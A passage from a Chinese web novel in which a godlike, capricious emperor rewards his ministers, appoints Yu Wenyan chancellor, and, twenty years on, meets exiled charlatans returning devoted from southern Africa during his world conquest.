能够做出一时的贡献不算什么,最重要的是能够做出永久贡献的。这才是邱腾的真正价值。 他得到的封赏比谢萍和谢瑛还要多。 对此,谢萍和谢瑛也觉得是理所应当的。 她们两个虽然不是皇帝的女儿,就是公主的女儿,但是她们生活在萧国,从小是被打压着长大的,对于赏赐没有“配得感”。 她们觉得自己只是在玩闹和报复,如果没有谢吾德的话,她们根本就做不成这一切。 如果谢吾德不是直接略过她们的意见,把封赏的东西直接砸给她们,又立刻去封赏邱腾的话,她们一定会推辞。 邱腾对于这次的奖赏也十分喜悦。 他从来都不觉得谢吾德杀了谢珖是一件正确的事情,但是作为一个人,他也有自己的想法和喜好。 谢吾德相比起谢珖而言更加欣赏他。 而且邱腾还清楚,谢吾德不仅是欣赏他的战绩或者忌惮萧国而不得不捏着鼻子用他,谢吾德是真的在各方面都欣赏他,从他的能力到人品,甚至能够给予他一些对别人所没有的尊重。 虽然谢吾德对他有几分疏远,但那只是性格上的合不来,并不是讨厌。 这基本上是谢吾德能给予一个人的最大程度的尊重了。 如果谢吾德的性格不是如此扭曲奇怪的话,这称得上是邱腾的“梦中情帝”了。 但是谢吾德做的事情又很不符合他的原则,搞得他一直都处于一种纠结的状态。 不过事到如今,可能也没有太过继续纠结的必要了。 今天正是一个好日子,他该开开心心地接受这一切就好。 他是一个将军,他只要能够保证忠心报国,江山稳定,不负父老乡亲的期盼就好。 自己如果再多纠结的话,难免会在自己的下属增添几分阴霾,到那个时候恐怕真就会出现他和谢吾德之间的矛盾了。 邱腾把大脑里的一切思绪都甩了出去,决定不再去思考这些事情。 林耀祖和尔雅现在还在南方。 她们有自己的事情要做,自然就没办法参加这一次的朝会了。 不过谢吾德也没忘记她们。 在进攻萧国这件事情上,她们没有在明面上直接给出太多的帮助,但是她们在背后支持并非不少。 尤其是尔雅。 更重要的是,她们和谢吾德的关系更加亲近,谢吾德忘谁也不会忘记她们。 再剩下的那些人所做出的贡献,就不是谢吾德了解的了,他也不感兴趣,直接大手一挥,都交给了余文彦去搞。现在也是余文彦站出来。 余文彦也很乐得来接这样的工作,他看上去很高兴。 只不过在微笑的背后,他也在想一些事情。 比如说…… 为什么还没有他? 该不会又是所有人都有好东西,结果就他没有的戏码吧? 之前已经发生过一次了。 余文彦甚至怀疑起是不是自己最近懈怠了佛祖和菩萨了,没去好好烧香的缘故? 还是说他应该给谢吾德上几炷香? 他听说已经有人给谢吾德上香了。 直到朝会结束,谢吾德忽然喊住了他。 “对了,小鱼儿,你就没有什么想要的吗?”谢吾德揪着自己的头发问。 他刚刚用眼角的余光发现自己的头发有点分叉。 头发这种体外的蛋白质虽然可以被他轻松干扰,可是他还是选择了薅自己头发。 头发太多,不差这几根,拔起来还解压。 谢吾德是真的有临床症状的轻微强迫症。 余文彦忍不住想,谢吾德这是记住了他的名字,还是没有记住他的名字? 谢吾德喊他的时候,给他的感觉总让他觉得自己像是近海捕捞海鲜一样。 “能为陛下效忠就是臣最大的荣幸了。”余文彦矜持了一下。 “哦,那确实很荣幸。”谢吾德深以为然,他舒服地在桌子上躺了下来。他不在椅子上瘫,容易腰疼。 不知道有多少信徒想要侍奉在他的身边,但是都被他拒绝了。 余文彦真的超级无敌荣幸,谢吾德座下第一走狗……准确地来说走地鸡如果知道余文彦的待遇,那恐怕连生撕了余文彦的心都有,以他的极端性格,搞不好直接回化心动为行动。 余文彦恭谨地站在了谢吾德的身后,半晌都没等到接下来的话。 不会吧,不会吧,难道真的要因为这一句“矜持”而丢了他原本有的封赏吗? 余文彦自诩在这次的事件中也做了不少工作。 难道真的就要因为他这一句谦虚的话而葬送了吗? 他也是被找到了自己堂姐,和活下来的家人团圆的事情冲昏了头脑。 在攻破了萧国之后,他终于成功地和自己当年被困在萧国的家人重逢,难免会有一种飘飘忽忽的感觉。 之前他还嘲笑那些得意忘形的大臣们,现在这好像成了一个回旋镖,直直地砸在了他的脸上。 不知过了多久,谢吾德一扭头,好像非常惊讶地看着他:“你怎么还在这里?” 余文彦深吸了一口气,这才缓缓地起身,他躬身向谢吾德行礼说道:“陛下,臣先行告退了。” 他继续待在这里,就像是自取其辱一样。 对,就是这个表情,就是这个表情。 在看到余文彦如同败犬一样离开之后,他终于大笑出声。 “我听说你想要当丞相,好啊,你现在就是了。” 【有点渣,把早就该给他的东西当成了这次的奖励。】温特吐槽。 【你看他肯定会高兴地要跳起来。】谢吾德不以为意。 余文彦愣住了,不可思议地看着谢吾德,没有说话。 【你看。】亚夏说,语调带上了点让谢吾德讨厌的爹味。 余文彦和谢吾德大眼瞪小眼,瞪了半天,谢吾德有点羞恼地说道:“你的谢恩呢?” 让他在亚夏面前丢人了! 虽然亚夏一直都觉得他丢人,可是谢吾德自己觉得丢人才算丢人。 “陛下,这种事情难道不应该在朝会上说吗?怎么偷偷摸摸的,像是要收买死士一样。”余文彦诚实吐槽。 “得了吧,还收买死士。”谢吾德对于余文彦这个说法表示十分轻蔑,“我可不相信你能够为我赴死。” 余文彦这个人主打的就是一个身段柔软。 谢吾德可还没忘当时余文彦是从哪来的——他原本可是二皇子的幕僚,因为对谢吾德十分恐惧,所以才屈服于他,成为他的走狗。 这样的人真的会有如同死士那般的忠诚吗? 余文彦完全不好操控。 虽然他对谢吾德十分顺从,但是他对二皇子大概也是这么顺从的。 他太清楚别人施恩是什么样的,一举一动,他都能看透这背后的目的。同时,也太清楚自己应该表现出什么样的姿态,才能够让上位者在对他的施恩中得到足够的反馈,愿意继续重用他。 不敢说他对一切事情都一清二楚,但是他对这些事情总有一种过分冷静的判断。 再说了,对他而言,这个世界最重要的人就是他自己了,没有什么会比他自己的生命还重要。 余文彦看着谢吾德的眼睛,他好像从谢吾德的眼睛中读到了某种感情。 谢吾德远比许多人想象的要清醒。 余文彦只是有点呆愣愣地看着谢吾德。 谢吾德是用暴力和恐怖去统治他人的,他所相信的也只有自己对别人所施加的暴力和恐怖。 没有足够的恐怖,他不相信有任何人会为他赴死,即使邱腾也是一样。 如果换做是另外一个人的话,余文彦可能会觉得他这是对自己能力的一种不自信。 可是眼前的人是谢吾德。 看着那双幽蓝色的眼睛,其实那是一双眼型冷而犀利的丹凤眼,只是谢吾德总是笑着,让这双眼睛看上去弯弯的。 余文彦就觉得他是真的看透了自己。 谢吾德喜欢使用直觉对人进行判断,而他在看人方面直觉很准。 他虽然嘻嘻哈哈的,但是本质是个心防很重的人。 他会下场来玩,但是很多时候他和亚夏一样,是一个观察者。 “陛下,您还真是从未融入过这个世界呢。”余文彦发出了一声感叹。 谢吾德疑惑地回望,然后问道:“咦,难道你是这样忠诚的人吗?如果你说是的话,那我也可就要惩罚一下说谎的骗子了。” 余文彦只得说:“陛下圣明。” 虽然不敢说他对谢吾德完全没有忠诚——至少比二皇子多,但是结果也许也不会有太大的差别。 谢吾德不喜欢跟别人绕弯子。如果谢吾德说了自己看穿了对方,那还要坚持这些拙劣的谎言的话,那后果比当着他的面违逆他还要严重。 不过,大概也只有从未融入过这个世界的人,才能彻头彻尾地保持着这样的旁观者姿态。 谢吾德在这个世界待了十多年,可是他从未对任何人交付过自己的心,他也不在意别人的心。 他,非常残酷。 余文彦看着谢吾德挥挥手,下一秒就直接消失在了他的眼前。 皇帝是越来越不打算伪装自己并非凡人的事实了。 以前他装一下,大概是觉得这样还很好玩,会让人难以判断他们和谢吾德之间的差距。 但是现在该知道的不该知道的都知道了,那他就彻底不装了。 余文彦之前还真的考虑过谢吾德是不是什么下凡来渡劫的神仙? 只不过谢吾德这个神仙,实在是没有多少气量,让人担心他是否真的能成功渡劫。 但是现在来看,谢吾德恐怕纯粹是来玩的。 不投入任何情感,对待所有人就如同玩具那般的戏耍。 神话故事中的神仙不是这个样子的。 不过余文彦也知道故事并不可信。 故事里很多大官还都是善良、正直、有能力、手段清廉的,但是那样的人还真的是几百年才能够出一次。 余文彦自己也不是。他没有贪污,是因为他不想吗? 那是因为谢吾德不喜欢有人动他的钱,而他有办法看出别人动没动他的钱。 就像是他没法做谢吾德的死士那样,他也不过是一个普普通通的凡人,只是被谢吾德那些诡异恐怖的手段吓住了。 余文彦看着手里的那道圣旨。 恐怕这是谢吾德其他状态下的自己写的。 对方写的东西总是非常符合规矩又带着一点严谨,不像谢吾德那么潇洒直白。 他到现在都没有完全搞清谢吾德的身上到底都有什么秘密,也没搞清楚“皇帝”和“太子”到底都是谁。 他能感觉到也许都是谢吾德自己,但是谢吾德为什么是那个样子。 这一切都无从知晓。 不过在他的有生之年,恐怕很难搞清楚这件事情,谢吾德也不打算向他透露自己的秘密。 余文彦向北看去,那里正是萧国丞相死亡的地方。 萧国的皇宫已经被谢吾德移到别处了,萧国丞相的血液也早就被移开了,可是余文彦看着那个方向,却好像依然能看到鲜红的血迹。 他当时虽然不在场,可是在事后,他也是过去看了几眼。 也许是兔死狐悲吧。 现在余文彦作为荣国的丞相,他也开始思考这个国家以及他自己的结局会是什么样的。 这个世界是谢吾德的游戏沙盘,也不知道自己这个棋子最后会落得什么样的下场? 在这个沙盘上,他和萧国丞相从未有过区别. 营帐中传来了皇帝的短暂的尖叫声。 邱潇面色平静,只有一些年轻一点的士卒才不知道发生了什么。 “那是陛下的声音吗?” 他们这些跟着皇帝远征的人都清楚谢吾德的个性。 谢吾德看似什么都不在意,其实他还挺好面子的,做什么都尽量保持住一副令人火大的笑。 他虽然不让人觉得一切都尽在他的掌握之中,但是也会给人一种镇定的感觉,很少有人听到他这么尖叫。 “没事,陛下大概是看见蛇了。像这种野外的地方,蛇虫鼠蚁都十分多。”邱潇说道。 二十年了,谢吾德依旧很怕这些东西,这玩意他好像从来都没办法脱敏。 没办法,他最大经验就停止在了二十二岁,二十二岁的他怕狗怕蛇怕虫子,从小到大都这样。 是的,自从萧国被迫被破之后,已经又过了20年。 很多人对谢吾德的表现没有特别的反应,但是这些刚成为行伍的人还是很关心的。 谢吾德不是一个好皇帝,但是对于他们这些士兵而言,谢吾德还是很好的,他给的福利和待遇远超之前的任何一个皇帝。 他们这些士兵不再是兵匪,作战也有绝对的安全保障,有更多出身良家的人愿意参加军队。 其实这些人甚至都没有多少伤亡,在正面战场上他们就是谢吾德的气氛组。 这样的好皇帝遇到了危险,所以他们十分关心,探头去看谢吾德。 他看着谢吾德阴沉着脸,骂骂咧咧地拎着一条蛇,在外面把这条蛇甩出了大风车。 这条蛇被甩的呼呼作响,除非这条蛇是蛇妖,不然被这么甩,绝对会丢了命。 真没眼力劲。 那些跟得久的老兵,对于谢吾德这一套流程都十分熟悉了,甚至还会大声鼓掌,拉满情绪价值:“陛下干得好!” 至于他们怎么想,那就不好说了。 谢吾德怕蛇远胜于怕狗。 主要是这些蛇的颜色在自然环境中总是带着些伪装,他眼神又不好使,偶尔会凑近去看草丛中的异动,然后一看就一个惊吓。 他第一次尖叫的时候,大概整个军营能听到谢吾德声音的人都被惊动了,他们都过来看谢吾德是被什么样的东西给吓到了。 能把恐怖的皇帝吓成这个样子,那是何等恐怖的东西? 但是当他们定睛看去,看到了那条蛇之后,很多人都变得无语了起来。 他们中大多数人都是糙汉,很多人看到蛇就是找个棍子叉了,回头掐着七寸就回家宰了美美吃蛇肉。 人的本能怕蛇,但是人现在更饿。 谢吾德居然会怕这种玩意? 谢吾德的惊恐只是短短一瞬,这是本能反应,直接绕过大脑直接受惊。 他扭头就用法术把蛇甩成直升机螺旋桨。 他讨厌这种生物 谢吾德更加依赖五感的观察,用法术观察也不是不可以,但是法术主要是能够探测生命的思维活动。 脑子越好用的,对于他来说就越明显。 像是细菌这样的生物,他也不是感觉不到,但是数量实在太多,又细微到需要他静下心来去感受,所以基本直接忽略。 蛇的脑子要比细菌这种浑浑噩噩、基本只靠本能活动的生命要好得多,可是还远不够激起谢吾德的关注。 这让谢吾德经常只有在靠近的时候才会发现它。 又因为凑得太近,惊吓翻倍。 明明他想要找几只野猫逗着玩的。 谢吾德气鼓鼓地用力洗了几把手,又好好地消过毒,这才觉得自己的创伤没那么大了。 士兵高高兴兴地把这条蛇抓去煮汤,还笑嘻嘻地跟谢吾德说道:“胆敢冒犯陛下的东西,我一定把他好好地吃进肚子里。” 谢吾德早就消气了,挥挥手让他拿了下去。 谢吾德现在正在征服天下,他试图把自己的地图开到世界各地。 亚夏不是全图鉴爱好者,是因为他觉得没必要,收集全图鉴太累了,而且他有别的事情要做。 但是谢吾德他闲得没事。 这二十年里,他统一了整个东亚,还建立了一个通往美洲和澳大利亚的陆桥。 他先把那些地方给征服了,并且开始管理。 这两个方位远离世界岛,越早开始动手,统一天下、让所有人都对他高呼万岁的进度条就推得越快。 林耀祖这个穿越者给这个世界带来了不少变化。 二十年是一个十分漫长的时间。不过好在林耀祖成功兑换了几次回家的往返次数。 她自己又不打算谈恋爱生孩子,她父母又能够经常地在直播中看到她的身影,所以在这里待二十年,也并没有耽误她。 而另外一个世界的人也逐渐地把两个时空的联系视作为一种理所应当的事情,已经不像是当年那么轰动了。 更何况因为谢吾德之前展露了自己能够看到这些弹幕的能力,很多人也不敢再去看了。 但是在整个世界的关注下,依旧是一个不小的数字。 谢吾德自诩神明,而即使在未来,他也有许多信徒相信他是真正的神明。 在看到谢吾德要开图开到他们家乡的时候,他们不仅没有半点愤怒,反而异常欣喜,觉得这也是一份荣幸,甚至希望谢吾德能够亲自去。 谢吾德觉得他们有时候都着实令人费解,他们难道不知道他亲自去的地方肯定都是要死人的? 没有太高难度的地方,他都是直接略过的,等着他把其他地方打下来,那些人绝对是会向谢吾德投降的。 谢吾德稍微想了一下自己的其他信徒,也就了然了。 狂信徒就是这个样子。 就算是他们的祖先被神明杀死,那他们也甘之如饴,那是能够接近神明的最好机会。搞不好他们自己都会羡慕得要命,对于他们而言,在信仰的加持下,死亡不值一提。 谢吾德不清楚自己的其他信徒是怎么描述死后世界的,反正随他们去编,他根本就不在乎。 毕竟除非是特别用法术进行刻印,不然人死后也没有灵魂。 没有人触摸到真相,也没有人愿意相信这种真相。 不过谢吾德亲自到的地方也不是没有好处。荣国在科技上的进步也十分明显,隐约地已经有了工业化的苗头了。物资沿着皇帝前进的地方进行运输,这里的发展会比其他地方更好一些。 相比起那个世界历史所推测出来的谢吾德的未来行为,谢吾德现在带来更多的是进步的东西,以及富足的生活。 谢吾德把蛇处决之后,他在这附近随意地溜达。 地球的景色,他其实已经看腻了。 可惜作为诞生在地球上的生命,人类最欣赏的依然是地球上的景色。 其他世界固然新奇,但是总是少了几分能够让人欣赏的点。 就在谢吾德已经无聊到蹲下来刨蚂蚁坑的时候,有人来向邱潇汇报:“将军,东南方向似乎有一队人正在往这边赶来。” 邱潇已经是现在的将军了。 邱腾在十年前以年岁已高为由,卸下了自己的职位,让自己的侄子邱潇担任将领。 邱潇的能力没邱腾那么强,可能也没有邱腾那样执着于忠诚,但是他的性格更加灵活多变一些,如果要长期相处的话,邱潇更加对谢吾德的胃口。 不过邱潇依然是一个靠谱的人。 谢吾德在这个世界的人看来已经三十六岁了,但是看他的脸似乎还是二十二岁的样子。 邱潇已经是实打实的大叔的年纪了,也长了一张大叔的脸,他的鬓角也多了几分沧桑,不像谢吾德那样,看上去一直都细皮嫩肉的。 二十年中绝大多数时候他都是在沙场上奔波,几乎没有和家人团聚的时间。 不过只要能够为皇帝效忠,甘之如饴。 邱家和邱家军一样,都是愿意为谢吾德效劳的。 邱潇拿起了科学院发明的望远镜看了过去,发现那是一队黑人所组成的队伍。 他们已经路过了大食。 在之前他们就知道这个世界有人的皮肤是黑色的,甚至很久之前就有人往荣国运送这些奴隶。 只不过当时的那些奴隶贩子都不告诉他们是从哪里搞到的那些奴隶,想要搞独家生意,而且还不给他们繁衍这些奴隶的机会,直接把他们都阉了。 不过现在大家都知道这些黑色皮肤的奴隶是从哪里来的,只可惜他们现在没有南下的打算,而是继续向西进。 可是他们没有去找这些人麻烦的打算,这群人却找了过来,是想要干什么? 不过这个问题很快就得到了解答。 “为首的,好像是……中原人?”邱潇有一点不太确定地跟谢吾德说道。 这个发现让谢吾德都放过了那窝倒霉蚂蚁。 都说人生之幸有他乡遇故知这一条,但是这个“他乡”是不是太过于他乡了? “陛下要让他们靠近吗?”邱潇问道。 如果换别的时候,他是绝对不会让这群人靠近的,因为这实在是太过于诡异了。 在远离中原的这里,居然还能够看到家乡的人,实在是让人怀疑他们是怎么来的。 不太可能是商队,哪有商队没那么多货物又能有这么大的架势的? 不过有谢吾德在,就不需要担心这种事情,谢吾德有能力为任何状况兜底。 谢吾德点点头。 这群人在靠近之后,立刻要求想要面见将军。 这些人用的的确是熟悉的语言。 谢吾德背着手想要过去围观,看看这是怎么个情况,队伍中的几个中原人大多都是中年到老年的,谢吾德没看清他们的脸,但是他们看到了谢吾德。 他们一看到谢吾德,连滚带爬地过来了,先是立刻跪了下去,然后连滚带爬地跑了过来,在谢吾德面前哐哐磕头。 谢吾德一脸迷茫。 谁打劫他们了来找他诉苦了吗? 谢吾德完全不思考他们怎么知道他是领头人,这不是显而易见的吗? 这些人的脸也很陌生……算了,他本来也记不住别人的长相。 他们对谢吾德说道:“陛下,臣知错了。臣当初就不该欺骗您。” 谢吾德“啊”了一声。 这个人这么说,他好像忽然想起了些什么。 这群人不是别人,正是当年被谢吾德丢到南非的家伙。 当时那些家伙在世家的指挥下,想要进宫来行骗,世家其实也没指望他们能成功,就是给谢吾德找点麻烦。 谢吾德看他们表演之后觉得没什么意思,所以想要给他们一个惩罚。 当时他随口说了一句“燕子南飞,到南非”,出于游戏的心态,把他们放逐到了这种遥远的地方。 但是万万没想到,他今天居然能够看见他们。 谢吾德不是塞翁,这些方士也不是塞翁的马,但是那种意外和惊喜十分相似。 当初他只是想要随便玩玩的,玩完基本就忘了。 谁成想丢出去的宠物小精灵居然还能自己找回来? 哇噻。 “你们还活着呀。”谢吾德开口就是这样的话。 他看了看围绕着这群方士周围的家伙,基本上能把情况猜得七七八八了。 这群方士在荣国都算是骗术精湛,多少也算是化学专家了。 这种在中原经历了充分内卷的家伙去南非,自然有着类似降维碾压的效果,所以他们就成功地混成了“大巫师”,得到了当地人的敬重。 当然,他们过的肯定是不怎么样的,他们现在穿上的衣服也挺粗糙的。 南非土著自然把最好的东西留给尊贵的巫师,可是和顺滑的丝绸完全没办法比。 别的时代不好说,但是生活在这个年代,出国完全可以说得上是最好的爱国教育。 这些方士从来没有如此亲切地怀念过荣国,也没有如此期盼地想要回到荣国。 他们甚至深深地忏悔了之前自己坑蒙拐骗的行为,从北荣时代忏悔到南荣。 他们归心似箭,但是事情总是没有那么容易的。 他们如果想要回去的话,需要金钱或者资源,所以他们只能先在南非待了下来,和当地人打好关系,学会他们的语言,教了他们一些东西,然后一路北上,逐渐地发展了起来。 当然,发展得也有限,毕竟他们很难定下心来在一个地方待上个好几年。 他们从非洲南端走到非洲北端,走了二十年。 他们原本觉得自己可能到死都回不到家乡,可是在他们忽然听说了有一队奇奇怪怪的人从东方而来,一路征服, 他们一听就知道这绝对是谢吾德干的事,于是他们就赶过来了。 接下来就是刚刚发生的事情了。 他们看到谢吾德,几乎是一把鼻涕一把泪。 路上有一些年纪比较大的方士已经死掉了,他们把这些人埋了之后,又努力地北上,心理的恐惧和压抑难以描述。 他们一天都不敢忘记谢吾德的长相,实在是刻骨铭心。 谢吾德的脸二十年几乎都没变化。 他们在看到谢吾德的那张脸,就像是见到了这世界上最亲的人,谢吾德的背后好像都要升起太阳了。 陛下,我们好想您!《 》 110-115 第111章 方士们发誓,自己就算看到自己爹娘从土里站出来都不会这么感动了。 他们在看到谢吾德的时候,眼泪流到鼻涕上,鼻涕流到嘴里,脸又因为磕头脸上沾了不少尘土。 谢吾德看得都恶心了,有点恐怖,但是他从这群家伙身上收到了信仰——非常纯粹的信仰。斯德哥尔摩入骨了。 谢吾德:“……” 他好像又把人玩坏了。 他对亚夏发誓,他这次不是故意的。如果他是故意的,他愿意养一百条蛇在自己的被窝里。 亚夏对此做出的唯一评价就是:【就算你是故意的,你也可以说你自己就是亚夏,你自己可以判定。】 谢吾德承认自己不是本体,但是他从来没承认自己不是亚夏,他只是一个变异版本。 谢吾德看着这群方士,觉得自己现在如果问一句“谁是他的好狗狗”,这群方士绝对能够积极地狗叫连天,争相抢着当谢吾德的好狗。 谢吾德对邱潇说道:“你带他们下去换换衣服吧,现在看着实在是太脏了。” 这群方士看起来邋遢得要命。 就算是要养狗,那也得养干净的狗。 那群方士大惊失色,说道:“陛下,臣等又哪里得罪了您吗?还请陛下将我们留下,我们愿意为陛下效犬马之劳。” 他们看上去恨不得把自己的心脏都剖开给谢吾德看。 谢吾德:“……”也不是很想养有分离焦虑的狗。 现在这些方士不是很能听得进话。他们苦苦央求着谢吾德,满脸写着绝望。 在被谢吾德扭头丢了一次,拥有了惨痛记忆之后,他们现在无比担心谢吾德把他们又扔了。 二十年了,他们已经全都变成老头了,对谢吾德一点用处都没有了。 如果他们是谢吾德的话,大概会更倾向于把他们丢到别的地方。 邱潇在一旁说道:“陛下何时说要把你们丢下了?”他实在是看不惯这群人现在的这个样子,直接开口说了几句。 那群方士满脸不舍地看着谢吾德,问:“真的吗,陛下?” 他们又觉得自己这么问皇帝不太合适。他们没有资格问这种问题。 邱潇是个好人,说道:“至少我会待在这里的。” 谢吾德不会把整支军队在这里丢个二十年的,只要他还回朝,肯定就会有人提醒他。 邱潇的保证对这些方士来说完全不够,而且他们觉得谢吾德未必不能做出这样的事情。 这支大军对于寻常皇帝来说是很重要的财产,但是谢吾德才是主力,军队是他的拉拉队。谢吾德不缺拉拉队。 那群方士觉得继续纠缠下去也不太合适了,但是他们缓步地离开,他们就跟孔雀东南飞一样,一步三回头。他们的反应激烈到让他们看起来就像是在装一样,满脸写着幽怨,就跟什么痴男怨女的话本子一样。 这个眼神实在是让人发毛。 在送走这群方士之后,谢吾德吐出了一口气,他摸着自己已经起了鸡皮疙瘩的胳膊,打了一个激灵:“这群家伙什么眼神呢?” 噫。 虽说谢吾德不喜欢和任何一个人类产生亲密接触,但是被男人看着比被女人看着要难受得多。 邱潇眼睛微眯,看向了谢吾德。 为什么这群家伙的眼神有点奇怪? 那还不是因为陛下您自己拔腿忘人嘛。 谢吾德对于这个世界所有人都有一种漫不经心的感觉。 对于他来说,一切只是一个游戏,没必要太过于代入。 那群方士在整个非洲转了一大圈,估计把他们的传说散播在了非洲各地。而在谢吾德经过的地方,那些人早就臣服于谢吾德了。 一切都顺利到好像谢吾德只要振臂一呼,他就能够成为这个星球的真正意义上的天下共主。 虽然谢吾德远离朝堂,可是他并不太担心朝堂上的情况。 现在朝堂有谢萍和谢瑛两个人来负责。 谢萍一个人当不好皇帝,那就让两个人一起来当。再加上偶尔会给他们当老师的尔雅,她们也逐渐能够把控得住现在的朝局。 谢吾德之前对谢萍不是很满意,但是现在他仍然选择了她们。原因无他,谢吾德的社交圈实在是太小了,他没有其他的合适人选,再加上他觉得三个臭皮匠顶一个诸葛亮。数量不够,可以堆人数。 虽然谢吾德也清楚,有些事情不是单纯拼数量就可以的。但是他本来也没有打算好好挑一个能够顶替他位置的人。 谢吾德在这个世界待的时间已经远超过了另外一个世界所推测的谢吾德离开的时间。 但是谢吾德暂时没有离开的打算,他觉得这个游戏似乎还能够继续进行下去,这也算是和预言中出现了不一样的地方。 同样的这也达到了亚夏和温特最开始的目的——让谢吾德在这个世界中多待一会儿。 这其中的变数很大程度上来自于林耀祖这个穿越者,以及林耀祖这个穿越者所带来的一切。 谢吾德知道她们几个似乎在折腾一些十分有趣的东西。 作为这一切的隐形主导者,尔雅似乎也知道谢吾德知道这件事情。只是大家彼此都装作好像对这件事情不知情一样。谢吾德这二十年没有回去,其实也是给她们发育的时间,看看她们能折腾出什么有意思的东西。 至于她们的真实目的,谢吾德早就有所猜测了。 林耀祖是一个正常人,很多时候她的想法甚至是有一点天真的。毕竟在这个世界是谢吾德的近臣,有着谢吾德在背后能够支撑她狐假虎威,所以可以保证她不会向现实妥协,可以一直坚持着自己年轻时候的梦想。她成长的是为人处事的手段,而不是变成过去的她所不喜欢的样子。这也算是她遇到谢吾德的幸运,这个世界上基本只有谢吾德才能够保证这种单纯的想法。 她的目的就是想改变未来,拯救这个世界。 多么天真,多么有趣。 明明她只要去做谢吾德的信徒,谢吾德就会大方地赐予她这样的福利,可是她仍然选择通过自己的方式去努力。 如果有虔诚的人全身心投入地向谢吾德祈祷,祈求谢吾德给予他一个永恒的美梦,那谢吾德也不是不可以赐予对方这样美好的梦境。 只可惜,有的人总是不希望整个世界沉沦在美梦之中。 当然,也只有这样的人才有让谢吾德回应的兴趣。 他希望自己的生活能像小说和剧本那样跌宕起伏,充满各种有意思的反转。他需要一些不同的色彩,而不是单纯地像这群被他驯化的方士那样,虔诚得千篇一律。 方士们现在在进行着自己的探索。 方士们对于现在的荣国一无所知,但是他们也清楚,只要谢吾德在,那这个世界肯定就正常不了。 他们在回到荣国——这里是荣国新扩展的地图,他们第一时间应该学习的是关于荣国的一切。而谢吾德是一切改变的源头,那么如果想了解的话,其实就应该从谢吾德身边开始了解。 只是他们万万没想到的是,听到的第一句话,居然是随军的官员中有人大剌剌地找上门,找上了他们,然后问:“你们对平等思想有没有什么了解?”说这话的人看上去无比的坦然。 这群方士一片哗然。 这能忍? 在他们被谢吾德丢弃之后,他们就彻底地被谢吾德驯服了。在把上司当爹之后,他们非常迅速地就代入了孝子贤臣这个身份,并且就仿佛他们自己是既得利益者一样,意识到这群人所说的话中至为危险的部分。 什么叫对平等思想有什么想法?他们的平等是想要干什么?是对皇帝有什么不满吗? 这三个问题,刺激着他们的神经。他们几乎是拿着手边一切能够看到的东西,把那个人赶出去。在把人赶出去之后,彼此商量了一下。 他们立刻要求面见皇帝。 这是一件很危险的事情。说这种话的人不跟皇帝说,皇帝未必会喜欢听这种话,而这种告密的事情一旦被同僚所知晓,他们很有可能会给他们下绊子。但是他们此刻对谢吾德的忠心高于其他的一切,自己的安危都已经是微不足道的小事了。 他们催得很紧,而这些营帐中的隔音效果并不怎么好。 谢吾德又因为总是倚仗着自己的睡眠质量好,就算外面操练也不影响他睡觉,所以不设置隔音。但是偶尔一些意外情况还是会打扰到他的好梦。这群方士的动静直接把他给吵醒了。 “你们有什么事吗?”谢吾德躺在床上。 他没有像以往一样自己找一个地方窝着,等到有事的时候才会出现。所以现在这么做,是因为想着体验一下野营的乐趣,但是他又习惯性柔软的床上。于是他选择折中,在床上放了一个睡袋。没有人对谢吾德的行为有什么异议,在他们看来,皇帝就应该是这样的。 谢吾德睡得比绝大多数人都要舒服,但是从睡袋爬起来还是很费劲的。 这群人懂不懂事啊? 谢吾德揉着自己的头,从睡袋里钻出来,让其他人把这些方士给放进来。 他要是没睡好,一天都会头疼的。 “我觉得我应该不需要为你们立规矩吧?在我睡觉的时候,没有什么比睡觉更大的事情了。这一次算你们不知者无罪,下一次谁打扰我睡觉,谁就去死,懂吗?”谢吾德把手指往前一伸,眼神冰冷地看着对方。 这些方士被谢吾德的眼神给吓到了,他们忙不迭地点头说:“臣等明白,明白。” 谢吾德躺了下来,闭着眼睛,像是死了一样,但是还是勉强开口。 “好了,你们找我有什么事吗?”谢吾德还是没能够习惯“朕”这个自称,谁让他很难习惯一件事情呢。 不过他又觉得不习惯也无所谓,他不差这一点称呼给他带来的权威。 他们说:“陛下,我们似乎在军中听到了一些不臣之言。” “啊?”谢吾德来劲了,“怎么?有人想要刺杀朕吗?他们想要怎么刺杀?采取什么样的手段?我靠,这是哪来的豪杰,实在是太牛逼了。” 谢吾德满脸都写着兴奋,嘴里说着那些位高权重的人所不耻的粗鄙之言。 这里可是邱潇个军队,没想到这里还会出问题。 难道是邱潇背叛他了? 谢吾德没有半点被背叛的愤怒,只有对接下来发展的强烈好奇。 方士们沉默一秒。 他们看着谢吾德这写着兴奋的脸,语气艰难地补充道:“似乎是琅琊王氏的人……” “哦,那无所谓,朕允许他们这么做了。”谢吾德感觉自己听到了自己肾上腺素一秒钟回落的声音,一听就知道他们说的是谁了,他还以为有哪家的勇者站出来了,想要推翻他这个魔王。 虽然他之前更看好林耀祖她们,但是也不是不能接受别的人给他来一下。 现在的局势很混乱。 世界只是看似平静,但是平静只是一种名为“谢吾德”的伪装,技术、思想和矛盾的已经波涛汹涌,到了一种不可调和的地步。 二十年的时间,谢吾德的计划很顺利。 他培养出了一批从普通人晋升的官员。 余文彦一直很积极地去推动这件事情,这些被新式选官体系加上科举制度结合培养出的官员,也会成为余文彦在朝堂上的支持者。 寒门不是普通百姓,但是也不是世家。 谢吾德还掌握着物质转换的能力,让整个荣国进入到了吃喝不愁的阶段,但是这就代表天下所有人都会对谢吾德忠心耿耿吗? 绝对不可能。 有一些人喜欢唱反调,有一些人则是擅长遗忘,还有一些人则是不满足于自己的现状,想要追求更好的生活。 人类千奇百怪,这些理由也是千奇百怪的。 谢吾德对此完全不意外,人类太聪明心思也太多了,高智商的生物总是有一种贱贱的感觉。 不过好在,谢吾德做的这一切不是为了自己的理想。 他还巴不得有这样的变数呢。 在这二十年培养出来的人,有一种被充足物资培养出的天真和力量,真的让一些原本只是王旭用来在未来给谢吾德挖坑的思想成为了一种可能。 这些人自然也会进入邱潇的军队,成为他们随行的官员以及士卒。 在谢吾德传播这个世界对自己的信仰的同时,也传播着另外一种思想。 物质决定思想。那些人虽然也经常得到谢吾德的补充,但是他们已经不再像从前那般依赖谢吾德提供的东西存活,将他视作唯一的救命稻草。 贫困已经被他们逐渐遗忘了。 自然,也要追求一些新的东西。 也就是现在谢吾德还在,他从未虚弱过,世界这根被压紧的弹簧只是像是有着螺旋纹的柱子一样,但是总有一天会把积蓄的力量全部释放。 到那天,死亡人数甚至有可能超过谢吾德四处征服所带来的死亡人数。 “朕允许他们这么做的,”谢吾德直接说道,“不用管,随他们去。” 他打了一个哈欠。 之前也不是没人跟他说要警惕这种思想,尤其是以那些世家出身的官员为主。 